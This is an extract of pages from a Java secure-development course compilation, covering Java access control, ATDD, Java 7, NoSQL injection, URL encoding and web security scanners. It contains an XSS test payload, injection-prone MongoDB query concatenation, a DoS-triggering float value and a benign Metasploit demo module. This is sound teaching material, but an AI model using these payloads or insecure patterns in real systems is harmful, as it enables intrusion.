KerberosThe Java platform contains an API with the Java language bindings for the Generic Security ServiceApplicationProgramming Interface (GSS-API). GSS-API offers application programmers uniform access to securityservices atopa variety of underlying security mechanisms. The Java GSS-API currently requires use of a Kerberos v5mechanism,and the Java platform includes a built-in implementation of this mechanism. At this time, it is not possibleto plugin additional mechanisms.Note – The Krb5LoginModule mentioned in Chapter 6 can be used in conjunction with the GSS Kerberosmechanism.Before two applications can use the Java GSS-API to securely exchange messages between them, theymust

Page 153: Java secure development   part 1

152 | P a g e

establish a joint security context. The context encapsulates shared state information that might include,forexample, cryptographic keys. Both applications create and use an org.ietf.jgss.GSSContext object toestablish and maintain the shared information that makes up the security context. Once a security contexthasbeen established, it can be used to prepare secure messages for exchange.The Java GSS APIs are in the org.ietf.jgss package. The Java platform also defines basic Kerberos classes,like KerberosPrincipal and KerberosTicket, which are located in the javax.security.auth.kerberos package.Sun Microsystems, Inc. Secure Communication P11

Chapter 8Access ControlThe access control architecture in the Java platform protects access to sensitive resources (for example,local files)or sensitive application code (for example, methods in a class). All access control decisions are mediatedby asecurity manager, represented by the java.lang.SecurityManager class. A SecurityManager mustbe installed into the Java runtime in order to activate the access control checks.Java applets and Java™ Web Start applications are automatically run with a SecurityManager installed.However, local applications executed via the java command are by default not run with aSecurityManagerinstalled. In order to run local applications with a SecurityManager, either the application itself mustprogrammatically set one via the setSecurityManager method (in the java.lang.System class), orjava must be invoked with a -Djava.security.manager argument on the command line.PermissionsWhen Java code is loaded by a class loader into the Java runtime, the class loader automatically associatesthefollowing information with that code:• Where the code was loaded from• Who signed the code (if anyone)• Default permissions granted to the codeThis information is associated with the code regardless of whether the code is downloaded over anuntrustednetwork (e.g., an applet) or loaded from the filesystem (e.g., a local application). The location from whichthe codewas loaded is represented by a URL, the code signer is represented by the signer’s certificate chain, anddefaultpermissions are represented by java.security.Permission objects.The default permissions automatically granted to downloaded code include the ability to make networkconnections back to the host from which it originated. The default permissions automatically granted tocodeloaded from the local filesystem include the ability to read files from the directory it came from, and alsofromsubdirectories of that directory.Note that the identity of the user executing the code is not available at class loading time. It is theresponsibility ofapplication code to authenticate the end user if necessary (for example, as described in Chapter 6). Oncethe user

Page 154: Java secure development   part 1

153 | P a g e

has been authenticated, the application can dynamically associate that user with executing code byinvoking thedoAs method in the javax.security.auth.Subject class.PolicyAs mentioned earlier, a limited set of default permissions are granted to code by class loaders.Administrators havethe ability to flexibly manage additional code permissions via a security policy. The Java platformencapsulates thenotion of a security policy in the java.security.Policy class. There is only one Policy object installedinto the Java runtime at any given time. The basic responsibility of the Policy object is to determinewhetheraccess to a protected resource is permitted to code (characterized by where it was loaded from, whosigned it,and who is executing it). How a Policy object makes this determination is implementation-dependent. Forexample, it may consult a database containing authorization data, or it may contact another service.P12 Access Control Sun Microsystems, Inc.The Java platform includes a default Policy implementation that reads its authorization data from one ormoreASCII (UTF-8) files configured in the security properties file. These policy files contain the exact sets ofpermissionsgranted to code—specifically, the exact sets of permissions granted to code loaded from particularlocations,signed by particular entities, and executing as particular users. The policy entries in each file mustconform to adocumented proprietary syntax, and may be composed via a simple text editor or the graphical policytoolutility.Access Control EnforcementThe Java runtime keeps track of the sequence of Java calls that are made as a program executes. Whenaccess to aprotected resource is requested, the entire call stack, by default, is evaluated to determine whether therequestedaccess is permitted.As mentioned earlier, resources are protected by the SecurityManager. Security-sensitive code in the Javaplatform and in applications protects access to resources via code like the following:SecurityManager sm = System.getSecurityManager();if (sm != null) {sm.checkPermission(perm);}where perm is the Permission object that corresponds to the requested access. For example, if an attemptismade to read the file /tmp/abc, the permission may be constructed as follows:Permission perm =new java.io.FilePermission("/tmp/abc", "read");The default implementation of SecurityManager delegates its decision to the java.security.AccessController implementation. The AccessController traverses the call stack, passing to theinstalled security Policy each code element in the stack, along with the requested permission (forexample, theFilePermission in the above example). The Policy determines whether the requested access is granted,based on the permissions configured by the administrator. If access is not granted, the AccessControllerthrows a java.lang.SecurityException.

Page 155: Java secure development   part 1

154 | P a g e

Figure 4 illustrates access control enforcement. In this particular example, there are initially two elementsonthe call stack, ClassA and ClassB. ClassA invokes a method in ClassB, which then attempts to access the file/tmp/abc by creating an instance of java.io.FileInputStream. The FileInputStream constructorcreates a FilePermission, perm, as shown above, and then passes perm to the SecurityManager’scheckPermission method. In this particular case, only the permissions for ClassA and ClassB need to bechecked, because all system code, including FileInputStream, SecurityManager, andAccessController, automatically receives all permissions.In this example, ClassA and ClassB have different code characteristics—they come from different locationsandhave different signers. Each may have been granted a different set of permissions. The AccessControlleronly grants access to the requested file if the Policy indicates that both classes have been granted therequired FilePermission.

Page 156: Java secure development   part 1

155 | P a g e

Page 157: Java secure development   part 1

156 | P a g e

Page 158: Java secure development   part 1

157 | P a g e

There are also three Kerberos-related tools that are shipped with the Java platform for Windows.Equivalentfunctionality is provided in tools of the same name that are automatically part of the Solaris™ and Linuxoperatingenvironments. Table 3 summarizes the Kerberos tools.

Appendix C – Built-in ProvidersThe Java platform implementation from Sun Microsystems includes a number of built-in providerpackages. Table 4 summarizes some of the most important security services supplied by these providers.For

Page 159: Java secure development   part 1

158 | P a g e

details, see the documentation referenced in the “For More Information” chapter.In the table, the providers are listed in default preference order, and the preference order is shownunderneatheach provider name, in parentheses. The final column lists the standard names that can be passed torelevantgetInstance calls (for example, MessageDigest.getInstance).

Page 160: Java secure development   part 1

159 | P a g e

Page 161: Java secure development   part 1

160 | P a g e

Acceptance-test driven development for web applications

ATDD is a simple process change that can have far-reaching implications foryour development projects.

Acceptance-Test Driven Development, or ATDD, is a collaborative practice wherein application developers, software

users, and business analysts define automated acceptance criteria very early in the application development process.

They then use the acceptance criteria to guide subsequent development work. As John Ferguson Smart explains in

Page 162: Java secure development   part 1

161 | P a g e

this JavaWorld feature, ATDD is a simple process change that can have far-reaching implications for your

development projects.

From acceptance tests to ATDD

The idea of acceptance tests -- a set of tests that must pass before an application can be consideredfinished -- is certainly not new. Indeed, the value of testing an application before delivering it isrelatively well established.

Traditionally, testers will prepare test plans and execute tests manually at the end of the softwaredevelopment phase. Acceptance testing is done relatively independent of development activities. Insome organizations, QA departments also use automated testing tools such as HP's Quick Test Pro;but, again, this activity is generally siloed away from the rest of the development activity.

Testing an application after it has been developed has a number of significant drawbacks. Mostimportantly, having feedback about problems raised at this late stage of development makes it verydifficult to correct bugs of any size. These results in costly rework, wasted developer time, anddelayed deliveries.

ATDD takes a different approach. Essentially, ATDD involves collaboratively defining and automatingthe acceptance tests for upcoming work before it even begins -- a simple inversion that turns out tobe a real game changer. Rather than validating what has been developed at the end of thedevelopment process, ATDD actively pilots the project from the start. Rather than being an activityreserved to the QA team, ATDD is a collaborative exercise that involves product owners, businessanalysts, testers, and developers. And rather than just testing the finished product, ATDD helps toensure that all project members understand precisely what needs to be done, even before theprogramming starts.

In addition, acceptance tests are no longer cantoned to the end of the project and performed as anisolated activity. Instead, ATDD tests are automated and fully integrated throughout thedevelopment process. As a result, issues are raised faster and can be fixed more quickly and lessexpensively, the workload on QA at the end of the project is greatly reduced, and the team is able torespond to change faster and more effectively.

ATDD in practice

Let's consider how ATDD typically works in the context of an agile project. As a rule, a softwareproject aims at delivering end-users with a number of high-level "features" (sometimes calledfunctionalities or capabilities). A feature is a general value-proposition relating to something theapplication can do for the end-user, expressed in terms you might put on a product flyer or pressrelease: for example, a feature of an online real-estate lease-management application might be"Manage property repairs."

Page 163: Java secure development   part 1

162 | P a g e

Features are generally too big to implement all at once, so they are broken into smaller, moremanageable chunks. In agile circles, these chunks are often expressed in the form of user stories -- ashort sentence capturing what the user wants from a particular piece of functionality. For example,user stories for the "Manage property repairs" feature might include "Issue work order" and"Approve invoice."

A user story cannot stand alone, however; it is merely the promise of a conversation betweendevelopers and users about a particular requirement. The details about what needs to beimplemented will arise from this conversation. It will then be formalized as a set of objective,demonstrable acceptance criteria. For example, you would need to specify acceptance criteria for"user can approve an invoice for an amount less than the agreed maximum" and "user cannotapprove an invoice if the price exceeds the agreed maximum."

Acceptance criteria determine when a particular user story is ready to be deployed into production.But they do much more than record what should be tested at the end of an iteration. Acceptancecriteria are drawn up as a collaborative exercise, at the start of the iteration, with developers,testers, and product owners involved. As a result, they help ensure that everyone on the team has aclear vision of what is required. They also help provide clear guidelines for developers as to whatneeds to be implemented. (These guidelines are even more effective if the developers doing theprogramming are practicing Test Driven Development, or TDD.)

ATDD and TDD

TDD, or Test-Driven Development, is a highly effective development strategy that helps developerswrite code more accurately and precisely. The low-level requirements used to drive TDD are directlyderived from the high-level acceptance tests, so the two techniques complement each other:automated acceptance tests describe the high level business objectives, while TDD helps developersimplement them as requirements.

Note that acceptance criteria are not designed to be exhaustive -- there will be more technical testsfor that. Instead, they are used as much for communication as they are for verification. They take theform of working examples, which is why ATDD is sometimes referred to as "specification byexample."

Acceptance-test driven development is not just limited to agile projects. Even teams using moreformal and detailed use cases, or more traditional approaches such as the Software RequirementsSpecification (or SRS) documents, can benefit from having verifiable, automated acceptance criteriaas early as possible.

Automating your acceptance tests

A key part of acceptance criteria is that they are automated. They are not simply stored in a Worddocument or Excel spreadsheet, but are living, executable tests. This is important -- for ATDD to beeffective, the automated acceptance tests need to be run automatically whenever a change is made

Page 164: Java secure development   part 1

163 | P a g e

to the source code. So it is vitally important to have a tool that will integrate smoothly into your buildprocess, and that can be run on your build server with no human intervention.

Automated acceptance tests not only serve to test the application: they also provide an objectivemeasurement of progress (in agile projects, working software is considered to be the only truemeasure of progress). The tests can also give an idea of the relative complexity of each feature andstory, because a functionality that is long and complicated to test is likely to also be long andcomplicated to develop. This in turn can give a useful heads-up to product owners needing to setpriorities.

Although you certainly can write automated acceptance tests using conventional unit testing toolssuch as TestNG, there are a number of dedicated ATDD tools. These tools are focused as much oncommunication and feedback as they are on testing.

ATDD tools

ATDD is more an approach than a toolset, but there are a number of tools that can make thingseasier.

FitNesse is one of the earliest ATDD tools. Using FitNesse, users enter their requirements in tabularform in a Wiki, and developers write code behind the scenes to run the test data stored in the Wikiagainst the actual application. When the tests are executed, the table will be colored according towhether the tests succeeded or failed. FitNesse is very useful when your acceptance test criteria canbe expressed in terms of tables of data and expected results, although it is also used to expressacceptance tests as a series of steps.

More recently, other tools have emerged that support Behaviour-Driven Development, or BDD. Thistechnique encourages developers to think in terms of the behaviour of an application, and to expresstheir low-level technical requirements using a narrative approach. Cucumber is a popular tool fromthe Ruby community, that allows you to express your acceptance criteria using the "given-when-then" structure commonly used in agile projects. It is also easy to use Cucumber withJava. JBehave uses a similar approach, with stories expressed in text files and tests written usingannotated Java classes. Easyb is a similar tool based on the Groovy language.

Concordion is another more recent ATDD tool. In Concordion, acceptance tests are expressed in theform of HTML pages containing free-form text and tables. Java classes are then used to analyzespecial tags placed in these pages, in order to execute and display the results in HTML form.

All of these tools place a high emphasis on readability and communication. Listing 1 illustrates howone of the earlier acceptance criteria might be expressed using Easyb:

Listing 1. A user scenario in Easyb

scenario User can approve an invoice for an amount less than the agreed maximum"{

given "the User has selected an open invoice",

Page 165: Java secure development   part 1

164 | P a g e

and "the User has chosen to approve the invoice",and "the invoice amount is less than the agreed maximum amount",when "the User completes the action",then "the invoice should be successfully approved",

}

Once the acceptance criteria are defined in this way, the corresponding test code can then bewritten in more conventional programming languages such as Java, Groovy, and Ruby.

In addition to showcasing Easyb, this code snip shows the communication focus of ATDD tools.Automated acceptance criteria are expressed in high-level terms that makes sense to businessmanagers as much as to software engineers and programmers. Most ATDD tools also generatereports that express the test results in familiar business terms. Tests that have been written in thisway, but with no backing test code, will be marked as "pending." At the start of an iteration, all ofthe acceptance criteria will be in this state. As development progresses, the next step will be toimplement them, which is where the actual code that tests the application is written. So thesereports not only tell you what tests pass and fail, they also provide a way to track the progress ofyour project, by indicating what work remains to be done.

Taking a slightly broader perspective, automated acceptance tests are like any other automated tests-- they should be stored in your version control system and executed periodically on your ContinuousIntegration server (at least on a nightly basis, but preferably whenever a change is made to theapplication source code). Getting fast feedback when acceptance tests fail is essential. You can alsoconfigure your CI server to publish the results of the acceptance tests where they can be easilyconsulted by non-developers. Fortunately, modern CI tools such as Jenkins integrate well withvirtually all of the common BDD tools.

Automating acceptance tests for web applications

When it comes to implementing ATDD for a web application, a wide range of open source andcommercial tools are available. Given this wide range, choosing your tool with care is important; itcan mean the difference between a set of automated acceptance tests that is easy to maintain in thefuture, and one that quickly becomes unusable due to prohibitive maintenance costs.

Modern automated web testing tools, both commercial and open source, fall into three categories:

Record/Replay

Script-based

Page Objects

Record/Replay tools, such Selenium IDE and JAutomate, let a user step through a web application,recording the user's actions as a test script. While tempting in its simplicity, this approach is in fact apoor strategy. The low-level scripts generated by these tools are fragile and hard to maintain. For

Page 166: Java secure development   part 1

165 | P a g e

example, there is no reuse of testing logic between scripts, which makes maintaining the scripts verycostly.

Script-based testing is a slightly more flexible strategy. Tools such as Selenium, Watir, CanooWebTest, and the commercial Quick Test Pro fall into this category. Tests are written in aprogramming language such as Java, Ruby, or VBScript. However this strategy is still quite low-level,focusing on the technical details of the web tests rather than the business requirements that theyare testing. It also requires strong discipline and structure to avoid duplication within the scripts.Again, this tends to make tests more fragile and harder to maintain.

Good automated acceptance tests should be high level, expressed in business terms. They need toisolate the "what" from the "how." Doing so ensures that, if the implementation details for aparticular screen should change, the changes would only minimally affect the low-level test code,and not the high-level tests. Ideally, you want to maintain a level of abstraction between what a webpage does in business terms ("Approve an invoice"), and how it does it ("click the invoice in theinvoice list, wait for the details to appear, then click on the Approve button").

The Page Objects pattern, well supported by Selenium 2/WebDriver in particular, is an excellentchoice for ATDD tests. High-level acceptance criteria need to be expressed in high-level businessterms (the "what"), and then implemented under the hood using a set of well-structured,maintainable page objects. For example, an automated acceptance test will be expressed in businessterms, and implemented as a series of steps. Each step will make use of page objects to interact withthe web application. These levels of abstraction make the acceptance tests considerably more stableand maintainable.

In conclusion

Defining and automating your acceptance criteria up front makes a lot of sense. Not only does itprovide clear goals for developers, it also gives excellent visibility into what feature are beingimplemented, how they will work, and how the project as a whole is progressing. And, as a bonus,ATDD will also provide you with a broad set of regression tests.

Many open source tools exist to help you implement an ATDD strategy in your project --see Resources for a listing of the ones discussed in this article. While you can use conventional unittesting tools for ATDD, dedicated ATDD tools provide a stronger emphasis on communication andreporting, which are key parts of the ATDD approach. And for web applications, automated testingtools based on the Page Objects pattern are an excellent choice when it comes to implementing thetests themselves.

Page 167: Java secure development   part 1

166 | P a g e

Java 7: What's in it for developersAfter a long wait and a rough start, Java 7 brings a multitude of improvements for developers.Key new capability: Support for dynamic languagesA key feature of Java SE 7 is its accommodations for dynamic languages, which are becomingprominent on the JVM lately, thanks to the emergence of languages such as JRuby and Scala. Forexample, the new InvokeDynamic capability supports implementation of dynamically typed,object-oriented languages. InvokeDynamicbytecode supports "efficient and flexible execution ofmethod invocations in the absence of static type information," says the Java Specification Request292, the standards document detailing the capability. Hilwa says dynamic language support is themost important feature in the Java SE 7 release because it will help expand the Java ecosystem.Key new capability: Better multicore and parallelism supportA multicore-ready API in the release, from the Fork/Join Framework, lets developers more easilydecompose problems into tasks for parallel execution across multiple processor cores. IDC analystHilwa calls the multicore and parallels capabilities "the most innovative additions" in Java SE 7, andthey will let developers "harness underlying multicore processors better."

Key new capability: Compiler optimizations for developer productivityDeveloper productivity also is aided in Java SE 7, via Project Coin, which adds language changes tosimplify common programming tasks and reduce coding. It clarifies syntax and makes the code easierto read, says Austin User Group chief Ratcliff.

Project Coin's diamond syntax for constructor calls lets the compiler infer type arguments, and thetry-with-resources statement helps the compiler make reliable code by automatically closing files,sockets, and database connections when developers forget to do this, Ratcliff says: "That'ssomething that's been tripping up developers -- especially young developers -- for years. That'll be agood productivity improvement and will reduce bugs."

Key new capabilities: File I/O, graphics, and sound boosts"I'm particularly a fan of the NIO2 [file-system capabilities]," says Java founder Gosling. The newNIO2 capabilities provide an interface for working with file systems that can access more fileattributes and offer more information about errors, Oracle's documentation says.

Java advocate Peter Lawrey, author of the Vanilla Java blog, citesSockets Direct Protocol (SDP)capabilities as important for network file I/O. "SDP is really there to improve support for Infiniband,"he says. Infiniband is a competitor to iSCSI that has been making some headway in virtualizationenvironments.

Java SE 7 also features the XRender pipeline for 2D graphics rendering; it runs on top of the XWindow system and can access modern graphics processors.

A new sound engine, called Gervill, enables multiple applications on Linux to play sound using AudioSynthesis Engine Project MIDI synthesizer.

Page 168: Java secure development   part 1

167 | P a g e

Crash exploit – floating point conversionThe vulnerability is triggered when 2.2250738585072012e-308 is converted to a binary floating number. It can beexploited to allow unauthenticated network attacks which can “cause a hang or frequently repeatable crash(complete Denial of Service) of the Java Runtime Environment”. Oracle notes that “Java based application and webservers are especially at risk from this vulnerability”.

Java Compiler Integration Into the MetaSploit Framework##### java_hello.rb####

Page 169: Java secure development   part 1

168 | P a g e

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTMLinclude Msf::Exploit::JAVACOMPILE

def initialize(info = {})super(update_info(info,

'Name' => 'Java compilation mixin demo','Description' => %q{

This module demonstrate the on-the-fly Java compilation mixin for theMetasploit framework.

},'License' => MSF_LICENSE,'Version' => '$Revision$','DefaultOptions' =>

{'EXITFUNC' => 'process',

},'Platform' => 'win','Targets' =>

[[ 'Demo', { } ]

],'DefaultTarget' => 0))

register_options([

OptString.new('OUTPUTPATH', [ false, 'Working directory location.','./data/exploits/java/']),

], self.class)end

# randomize class\applet names@@app1 = Rex::Text::rand_text_alpha(rand(100) + 1)

def on_request_uri(cli, request)

appname = @@app1

Page 170: Java secure development   part 1

169 | P a g e

# "Hello World" Java codehello = %Q|

import java.awt.*;import java.applet.Applet;

public class #{appname} extends Applet {

public void paint(Graphics g) {g.drawString("Hello World", 20, 30);

}}

|

if (request.uri.match(/\.class$/i))

# compile Java codeapplet = java_compile(appname,hello)

print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the Java applet to the clientsend_response(cli, applet, { 'Content-Type' => 'application/octet-stream' })

# cleaning the working directoryjava_clean(appname)

returnend

print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

html = %Q|<html>

<head><title>Java compilation mixin demo</title>

</head><body>

<applet codebase="#{get_resource + "/"}" code="#{appname + ".class"}"></applet></body>

Page 171: Java secure development   part 1

170 | P a g e

</html>|

# Transmit the HTML page to the clientsend_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload (does nothing in this demo)handler(cli)

endend

Page 172: Java secure development   part 1

171 | P a g e

Page 173: Java secure development   part 1

172 | P a g e

Escaping the Java Sandbox – Was it ever done?

Forceful browsing and logical DB access through application

http://www.cigital.com/resources/vmovie/forceful_browsing/Forceful_browsing.swf

Avoiding NoSQL-injection with MongoDB

Secure APIsThe most important practice is to as much as possible stick to APIs that don't involve stringconcatenation. Many of the database drivers seem to include fluent APIs where query language is

Page 174: Java secure development   part 1

173 | P a g e

reflected in the programming language. The .NET implementation called mongodb-net, has a syntaxlike this: coll.FindOne(Where.Field(a => a == 1)); This allows you to develop without thinking about how

the query is actually constructed. The escaping is (hopefully) performed by the framework.

Mathias Stearn also mentioned this API for building safe queries: queryObj.append("b", 2)

Insecure APIsWhen using the insecure APIs like: db.myCollection.find("{ $where: 'this.a > " + userinput + "'

}"); or db.foo.find("{ $or : [ { a : 1 } , { b : " + userinput + " } ] }") make sure you pay close attention.

Whenever you do string concatenation, you need to escape the data correctly. MongoDB supportsconverting javascript queries to it's native query language expressed in BSON. When using this, thereare two contexts you need to be aware of:

1. Inside a javascript string2. Elsewhere

Whenever you are concatenating data within a javascript string, make sure you do javascriptescaping using a library like the OWASP ESAPI encoder or the AntiXss library from Microsoft's WebProtection Library.

http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html

The Encoder performs two key functions, encoding and decoding. Thesefunctions rely on a set of codecs that can be found in theorg.owasp.esapi.codecs package. These include:

CSS Escaping HTMLEntity Encoding JavaScript Escaping MySQL Escaping Oracle Escaping Percent Encoding (aka URL Encoding) Unix Escaping VBScript Escaping

Page 175: Java secure development   part 1

174 | P a g e

Windows Encoding

How to encode a URL string or form parameter in javaPublished: April 11, 2009 , Updated: April 10, 2009 , Author: mkyong

print

This is always advice to encode our URL or form parameters; uencoded form parameter isvulnerability to cross site attack, SQL injection and may direct our web application into someunpredicted output. A URL String or form parameters can be encoded using the URLEncoder class –static encode (String s, String enc) method.

For example, when user enters following special characters, and our web application is not handleencoding, it will open our application to cross site script attack.

Page 176: Java secure development   part 1

175 | P a g e

<![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>

How to use URLEncoder to encode a string and URLDecoder todecode the encoded string

package com.fsecure.swp;

import java.io.UnsupportedEncodingException;import java.net.URLDecoder;import java.net.URLEncoder;

public class testEncode{

public static void main(String args[]){

try{

String url = "<![CDATA[ <IMG SRC=\" &#14; javascript:document.vulnerable=true;\"> ]]>";

String encodedUrl = URLEncoder.encode(url,"UTF-8");

System.out.println("Encoded URL " + encodedUrl);

String decodedUrl = URLDecoder.decode(url,"UTF-8");

System.out.println("Dncoded URL " + decodedUrl);

}catch(UnsupportedEncodingException e){

System.err.println(e);

}}

}

Result

Encoded URL %3C%21%5BCDATA%5B+%3CIMG+SRC%3D%22+%26%2314%3B+javascript%3Adocument.vulnerable%3Dtrue%3B%22%3E+%5D%5D%3EDncoded URL <![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>

Please remember always encode the URL string and form parameters to prevent all the vulnerabilityattack.

Reference

http://java.sun.com/j2se/1.5.0/docs/api/java/net/URLEncoder.html

Page 177: Java secure development   part 1

176 | P a g e

H2 is a Java SQL database. The main feature are:

Very fast

Open Source

Java

Embedded, Server, and Cluster

Disk and In Memory

Strong security features

Page 178: Java secure development   part 1

177 | P a g e

Page 179: Java secure development   part 1

178 | P a g e

Page 180: Java secure development   part 1

179 | P a g e

Page 181: Java secure development   part 1

180 | P a g e

Talk about diseases of high level languages like eval/preg_e..

Page 182: Java secure development   part 1

181 | P a g e

Most developers won’t do threat modeling in practice, since it makes them feel like they are

Page 183: Java secure development   part 1

182 | P a g e

“playing a game” or “wasting time”

Page 184: Java secure development   part 1

183 | P a g e

Page 185: Java secure development   part 1

184 | P a g e

Combine risks and rank

Page 186: Java secure development   part 1

185 | P a g e

_ Take all of your findings and considerbusiness impact

_ Rank the findings

_ Come up with solutions

Page 187: Java secure development   part 1

186 | P a g e

Page 188: Java secure development   part 1

187 | P a g e

Page 189: Java secure development   part 1

188 | P a g e

Page 190: Java secure development   part 1

189 | P a g e

Page 191: Java secure development   part 1

190 | P a g e

Page 192: Java secure development   part 1

191 | P a g e

Page 193: Java secure development   part 1

192 | P a g e

Page 194: Java secure development   part 1

193 | P a g e

Security code Scanning

Objectives

Understand different offerings available to find vulnerabilities

Learn pros and cons of those offerings

Know about some open source and commercial scanning tools

Industry Application Security Offerings

Automated

Dynamic web application interface scanning

Static code scanning

Web app firewalls

Intrusion Prevention Systems (IPS)

Manual

Application penetration test

Code review

Automated vs. Manual: Advantages

Advantages of automated solutions

Low incremental cost

Minimal training

Page 195: Java secure development   part 1

194 | P a g e

Potentially 24/7 protection

Advantages of manual solutions

No false positives

Guaranteed code coverage

Ability to identify complex vulnerabilities

Understand business logic

Acts like a determined attacker

Can combine vulnerabilities

What Automated Solutions MissTheoretical

Logic flaws (business and application)

Design flaws

Practical

Difficulty interacting with Rich Internet Applications

Complex variants of common attacks (SQL Injection, XSS, etc)

Cross-Site Request Forgery (CSRF)

Uncommon or custom infrastructure

Abstract information leakage

Conducting the Assessment

If you are using automated scanning tools, beware of false positives and negatives

Pattern recognition has limitations

Page 196: Java secure development   part 1

195 | P a g e

Combine various testing methods

Automated scanning

Code review

Manual testing

Learn what tools do and do not do well

Validate every finding

Keep detailed notes

Commercial Dynamic Scanning Tools

Web Inspect – by HP

Rational AppScan – by IBM

Acunetix WVS – by Acunetix

Hailstorm – by Cenzic

NTOSpider – by NT OBJECTives

Open Source and Low Cost Scanners

W3af - http://w3af.sourceforge.net/

Burp Suite - http://portswigger.net/

Grendel Scan - http://grendel-scan.com/

Wapiti - http://wapiti.sourceforge.net/

Arachni - http://zapotek.github.com/arachni/

Skipfish - http://code.google.com/p/skipfish/

Paros - http://www.parosproxy.org/ (Free version no longer maintained)

Page 197: Java secure development   part 1

196 | P a g e

Code Scanning Tools

Fortify – by HP

Rational AppScan Source Edition – by IBM

Coverity Static Analysis – by Coverity

CxSuite – by Checkmarx

Yasca – by OWASP

Veracode binary analysis – Veracode (Veracode uses a different methodologythan other scanners)

Client Side Web Proxies

Paros - http://www.parosproxy.org/ (Free version no longer maintained)

Burp Suite - http://portswigger.net/

WebScarab NG -https://www.owasp.org/index.php/OWASP_WebScarab_NG_Project

Charles Proxy - www.charlesproxy.com/

Browser Plugins:

Internet Explorer: Fiddler

Firefox: Tamper Data

Page 198: Java secure development   part 1

197 | P a g e

Paros Proxy

Page 199: Java secure development   part 1

198 | P a g e

Page 200: Java secure development   part 1

199 | P a g e

W3af - Web application attack and audit framework

Page 201: Java secure development   part 1

200 | P a g e

Page 202: Java secure development   part 1

201 | P a g e

Page 203: Java secure development   part 1

202 | P a g e

Page 204: Java secure development   part 1

203 | P a g e

Page 205: Java secure development   part 1

204 | P a g e

IBM Rational App Scan

Page 206: Java secure development   part 1

205 | P a g e

Page 207: Java secure development   part 1

206 | P a g e

Page 208: Java secure development   part 1

207 | P a g e

Page 209: Java secure development   part 1

208 | P a g e

Page 210: Java secure development   part 1

209 | P a g e

Page 211: Java secure development   part 1

210 | P a g e

HP Web Inspect

Page 212: Java secure development   part 1

211 | P a g e

Page 213: Java secure development   part 1

212 | P a g e

Page 214: Java secure development   part 1

213 | P a g e

Page 215: Java secure development   part 1

214 | P a g e

Page 216: Java secure development   part 1

215 | P a g e

Summary

Over 90% of ecommerce PCI breaches are fromapplication flaws

Application security is not a percentage game.One missed flaw is all it takes

Vulnerabilities can come from more than one avenue:

Acquisitions

Old or dead code

Third-party libraries

Page 217: Java secure development   part 1

216 | P a g e

Analyzing the Effectiveness and Coverage of Web ApplicationSecurity Scanners

AbstractThis paper summarizes my study of web application scanners and attempt to quantifytheireffectiveness. This study utilizes a novel methodology I've developed to objectively testthe threeleading web application vulnerability assessment tools. So far as the author knows, thisis the firstpublicly published study that statistically evaluates application coverage andvulnerability findingsby these tools.The study centered around testing the effectiveness of the top three web applicationscanners inthe following 4 areas.1. Links crawled2. Coverage of the applications tested using Fortify Tracer3. Number of verified vulnerability findings4. Number of false positivesOne of the most surprising result is the discrepancy in coverage and vulnerabilityfindings betweenthe three tools. Lesser known NTOSpider excelled in every category, and thevulnerability findingsshow AppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilitiesfound byNTOSpider.IntroductionTesting the capabilities of web application scanners is an ongoing challenge that can beapproached in a number of ways; the challenge is to create an objective test that isprecise andcan be replicated. While previous studies have tested web vulnerability assessmenttools, nonehas statistically tested coverage or vulnerability findings in a precise manner. In thispaper I take anapproach that allows the data to be quantifiable to distinguish effectiveness (in terms offindingvulnerabilities) between the scanning tools.To do this I employed Fortify's Tracer product which inserts its hooks into actualproduction J2EE

Page 218: Java secure development   part 1

217 | P a g e

applications to enable measuring the “application security coverage” and then runningeach of thethree top commercial security scanners against the application. This allowed for actualanalysis ofhow much of an application's code base was actually executed during a scan whichenabled me tolook at the scanners in a new and quantifiable way.SummaryThe full results of the testing are going to be analyzed in further detail later in thereport, but I wouldlike to start off with some of the conclusions first.When looking at the results there are a number of ways to look at the data. There aredifficultiesaround analysis of the overall percentages of the "possible" surface/sink coveragebecause it ishard to determine what subset of the full list is applicable to what a web scanner isexpected to test(excluding optional features not enabled, alternative database drivers, import/exportdata features,etc). For this reason, the numbers become unusable and I decided to remained focusedonunderstanding the capabilities of the web application scanners against each other.I started by comparing the results of the scanners against each other in the first twocategories. Itsinteresting to see that the number of links crawled does not always indicate that moreof theapplications code base is being executed.

Page 219: Java secure development   part 1

218 | P a g e

It is important that the scanner is able to crawl well, but wasting time on redundantinputs only addsto the crawled links, but does not increase coverage of the applications code base. Inour tests, NTOBJECTives' NTOSpider product crawled the most links on average, and had the bestcoverage inall scans; SpiDynamic's WebInspect was able to crawl better than WatchFire's AppScanon one

Page 220: Java secure development   part 1

219 | P a g e

application, but AppScan did slightly better when I looked at the code base it executed.This meansthat WebInspect wasted time on redundant or otherwise unimportant links.For this study I focused on verifying the findings found by the scanners for accuracy.Again thelesser known NTOSpider from NT OBJECTives had the most findings, lower falsepositives andmost usable reports to aid in remediation.

MethodsMethodology

Page 221: Java secure development   part 1

220 | P a g e

The basic idea of the Tracer tool is to place code into the application that will be able toanalyze theweb application scanner as it accesses security critical areas of the application. Code canbeplaced manually into the application source as it is built and turned on and off as testingtakesplace. This is more difficult and time consuming and requires access to the source codeand thusthe technique most often used is byte code injection which only requires access to thecompiledbyte code.Software that uses bytecode in its operation (Java/.Net) can leverage techniques thatcome fromthe code coverage world such as instrumentation(byte code injection) in which code isinsertedduring build time or at run time using a custom class loader. Instrumentation adds thenew code tothe compiled code and thus the source is not necessary. Tracer employs byte codeinsertedstatically into the compiled application byte code.TestingEach scanner was run in default mode and not tuned in any capacity to the application.Theimportance of this lies in how effective the default mode so that scalability of scanningis not limitedby manual intervention and setup procedures which can be very time consuming.Second, in mostcases it is simply unrealistic to spend much time with many applications.Each scanner was provided a basic username and password similar to what a basic userwouldreceive.There were issues logging into some of the applications but calls to technical supportquicklysolved these problems.The Tracer application was configured to monitor each web scanner as it executed itstests. Aftercompleting each test run, the results were saved and the monitoring tool was reset forthe nextscanner.All vulnerability findings were hand vetted to determine if they were true findings orfalse positives.

Page 222: Java secure development   part 1

221 | P a g e

